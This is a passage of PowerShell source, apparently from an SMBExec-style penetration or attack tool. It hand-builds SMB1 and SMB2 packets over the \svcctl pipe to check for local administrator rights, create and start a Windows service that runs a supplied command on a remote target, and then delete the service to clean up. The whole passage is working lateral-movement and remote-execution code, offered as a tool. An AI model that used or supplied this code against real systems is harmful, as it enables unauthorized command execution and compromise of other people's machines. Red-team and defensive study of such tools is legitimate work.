$SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'CreateServiceW_First' + { + $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] + $packet_RPC_data = Get-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first + $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) + $SMB_split_index_tracker = $SMB_split_index + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_split_stage_final -le 2) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_split_stage = 2 + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Middle' + { + $SMB_split_stage++ + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] + $SMB_split_index_tracker += $SMB_split_index + $packet_RPC_data = Get-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle + $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_split_stage -ge $SMB_split_stage_final) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Last' + { + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x48 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] + $packet_RPC_data = Get-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'StartServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '00-00-00-00') + { + Write-Output "Service $SMB_service created on $Target" + $SMB_service_context_handle = $SMB_client_receive[92..111] + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $packet_SCM_data = Get-PacketSCMStartServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + Write-Output "Trying to execute command on $Target" + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'DeleteServiceW' + } + elseif([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '31-04-00-00') + { + Write-Output "Service $SMB_service creation failed on $Target" + $SMBExec_failed = $true + } + else + { + Write-Output "Service creation fault context mismatch" + $SMBExec_failed = $true + } + + } + + 'DeleteServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '1d-04-00-00') + { + Write-Output "Command executed with service $SMB_service on $Target" + } + elseif([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '02-00-00-00') + { + Write-Output "Service $SMB_service failed to start on $Target" + } + + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $packet_SCM_data = Get-PacketSCMDeleteServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'CloseServiceHandle' + $SMB_close_service_handle_stage = 1 + } + + 'CloseServiceHandle' + { + if($SMB_close_service_handle_stage -eq 1) + { + Write-Output "Service $SMB_service deleted on $Target" + $SMB_close_service_handle_stage++ + $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_context_handle + } + else + { + $SMB_client_stage = 'CloseRequest' + $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle + } + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + } + + 'CloseRequest' + { + $packet_SMB_header = Get-PacketSMBHeader 0x04 0x18 0x07,0xc8 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBCloseRequest 0x00,0x40 + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'TreeDisconnect' + } + + 'TreeDisconnect' + { + $packet_SMB_header = Get-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBTreeDisconnectRequest + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'Logoff' + } + + 'Logoff' + { + $packet_SMB_header = Get-PacketSMBHeader 0x74 0x18 0x07,0xc8 0x34,0xfe $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBLogoffAndXRequest + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'Exit' + } + + } + + if($SMBExec_failed) + { + BREAK SMB_execute_loop + } + + } + + } + else + { + + $SMB_client_stage = 'TreeConnect' + + :SMB_execute_loop while ($SMB_client_stage -ne 'exit') + { + + switch ($SMB_client_stage) + { + + 'TreeConnect' + { + $SMB2_message_ID++ + $packet_SMB2_header = Get-PacketSMB2Header 0x03,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = Get-PacketSMB2TreeConnectRequest $SMB_path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'CreateRequest' + } + + 'CreateRequest' + { + $SMB2_tree_ID = 0x01,0x00,0x00,0x00 + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $SMB2_message_ID++ + $packet_SMB2_header = Get-PacketSMB2Header 0x05,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = Get-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes + $packet_SMB2_data["SMB2CreateRequestFile_Share_Access"] = 0x07,0x00,0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'RPCBind' + } + + 'RPCBind' + { + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $SMB_file_ID = $SMB_client_receive[132..147] + $SMB2_message_ID++ + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'OpenSCManagerW' + } + + 'ReadRequest' + { + + Start-Sleep -m $Sleep + $SMB2_message_ID++ + $packet_SMB2_header = Get-PacketSMB2Header 0x08,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_header["SMB2Header_CreditCharge"] = 0x10,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = Get-PacketSMB2ReadRequest $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + else + { + $SMB_client_stage = 'StatusPending' + } + + } + + 'StatusPending' + { + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + + } + + 'OpenSCManagerW' + { + $SMB2_message_ID = 30 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SCM_data = Get-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'CheckAccess' + } + + 'CheckAccess' + { + + if([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + { + + $SMB_service_manager_context_handle = $SMB_client_receive[108..127] + + if($SMB_execute -eq $true) + { + Write-Output "$output_username is a local administrator on $Target" + $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + + if($SCM_data.Length -lt $SMB_split_index) + { + $SMB_client_stage = 'CreateServiceW' + } + else + { + $SMB_client_stage = 'CreateServiceW_First' + } + + } + else + { + Write-Output "$output_username is a local administrator on $Target" + $SMB2_message_ID += 20 + $SMB_close_service_handle_stage = 2 + $SMB_client_stage = 'CloseServiceHandle' + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '05-00-00-00') + { + Write-Output "$output_username is not a local administrator or does not have required privilege on $Target" + $SMBExec_failed = $true + } + else + { + Write-Output "Something went wrong with $Target" + $SMBExec_failed = $true + } + + } + + 'CreateServiceW' + { + + if($SMBExec_command_bytes.Length -lt $SMB_split_index) + { + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 